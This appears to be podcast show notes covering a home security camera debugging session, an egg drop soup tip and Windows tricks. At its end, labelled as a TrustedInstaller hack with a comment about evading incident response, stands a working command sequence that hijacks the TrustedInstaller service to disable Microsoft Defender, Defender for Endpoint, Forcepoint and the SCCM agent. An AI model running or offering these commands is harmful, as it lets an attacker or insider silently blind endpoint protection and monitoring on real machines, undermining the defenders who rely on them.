Episode Overview

• Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

• • Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.
  • Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.
  • Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi .
  • Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually.
  • Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip.
  • Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

️ Tools & Techniques Mentioned

• • crontab + Python scripts for automated monitoring
  • grep -v , cat , tail , and vi (line navigation with :1000 )
  • Obsidian for note-taking & AI assistant integration
  • Firefox/Playwright for headless browser testing
  • Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads
  • 7-Zip for archive extraction
  • Google Drive for searchable config backups

Resources & Links

• • Python API Script: Uniview IPC3628SR Recording Checker
  • Camera Model: IPC3628SR (Uniview Wyze ISP Warm Light Deterrent Network Camera)
  • TrustedInstaller Run-as Tool: ExecTI TrustedInstaller Runner

Quick Takeaways

1. 1. Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.
   2. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts.
   3. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes.
   4. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.
   5. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches.

• Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"
